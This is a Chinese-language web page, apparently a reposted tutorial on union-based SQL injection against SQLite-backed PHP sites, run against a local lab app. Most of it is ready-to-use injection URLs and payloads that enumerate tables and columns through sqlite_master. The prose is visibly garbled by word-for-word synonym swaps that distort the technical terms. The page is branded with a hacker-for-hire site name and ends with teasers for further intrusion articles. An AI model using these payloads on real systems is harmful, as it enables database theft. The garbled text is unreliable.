SQL注入又称hacking之母,是形成 *** 世界巨大损失而臭名远扬的缝隙之一,研究人员现已发布了许多关于不同SQL服务的不同进犯技巧相关文章。关于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把,你能够在web运用中运用SQL注入缝隙进行进犯,假如其间任何一种数据库被用来作为后端数据库。SQLite就比较不那么知名了,因而相关的SQL注入payload就比较少,假如你想进犯后端数据库为SQLite的,那你就得去学习SQLite相关功用,然后构造出你自己的payload。因而,本文中咱们将讨论两种关于SQLite的SQL注入进犯技巧。
1、根据联合查询的SQL注入(数字型或字符型)
2、SQL盲注
试验环境
为了完成根据SQLite的SQL注入,咱们需求以下环境:
1、web服务器(这里是apache)
2、PHP环境
3、运用SQLite数据库的存在缝隙的web运用,这里有一个我自己开发的运用
测验运用包里包括PHP代码和SQLite数据库(ica-lab.db).数据库共有两个表单:Info和Users
施行进犯
1、根据联合查询的SQL注入
根据联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让咱们来试试根据联合查询的SQL注入(数字型),注入点:
http://127.0.0.1/sqlite-lab/index.php?snumber=1
在测验order by子句后,咱们能够发现列数为5,Inject URL:
http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--
列2,3,4的数据在web页面上被打印出来了,因而咱们需求运用这三个列的其间一个或多个。
获取表名
在SQLite中,为了猜解表名咱们需求运转以下查询:
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在缝隙运用程序里,假如咱们构造像以下这样的链接,web运用将会在2这个方位显现一切表名:
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
为了让表名独自显现,咱们能够运用带offset的limit子句,就像这样:
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'' limit 2 offset 1
limit后边接的数字是为了获取行数,而offest后边接的数字则为之一次回来成果中的删除数。在上述查询中,limit提取了两个表名,然后哦之一个被offset删除去,所以咱们获得了第二个表名。相似的,为了获取第三个表名,只需求改动limit和offset为3跟2即可,即limit 3 offset 2.
获取列名
关于获取列名来说,相同有个简略的SQL查询来从指定表中获取列名。
union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名:
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'
获取“洁净”列名的payload
用以下payload来代替'sql',其他的payload坚持不变
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~')
Inject URL:
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info'
[1] [2] [3] [4] 黑客接单网
Raptor是一款选用C言语编写的WEB运用防火墙,运用DFA来阻挠SQL注入、Xss目录遍历等进犯。 编译&装置 $ git clone https://github.com/Cool...
在浸透中,常常碰到封闭回显的缝隙,常见的XXE盲注,SQL盲注,反序列号无回显,这个时分常用到OOB带外数据通道,带外通道技能(OOB)让进犯者可以经过另一种方法来承认和运用所谓的盲目(blind)的...
HTML5 安全问题解析 标签: html html5 web安全 本文参阅: w3school:html5相关基础知识(w3school.com.cn)...
0×01:简介 在运用GoogleHack进行SQL注入点查询时,手艺的办法一般为经过谷歌语法的inurl判别是否存在动态查询参数,然后对查询的网站url进行手艺判别是否存在SQL注入缝隙,如or 1...
前情概要:梦里那点事系列文章(上) 0×05 弱口令是个好东西 忽然有这么多方针,一时间不知从哪下手,这个时分直觉告诉我,机关单位站点也许是突破口。 经历告诉我,此类网站的管理员往往缺少安全防护认识。...
1.1运用sqlmap进行access注入 关于存在access注入的站点,能够经过手艺注入或许东西注入来获取access数据库中的表以及内容,特别是获取网站后台办理表中的用户名及其暗码。 1.1.1...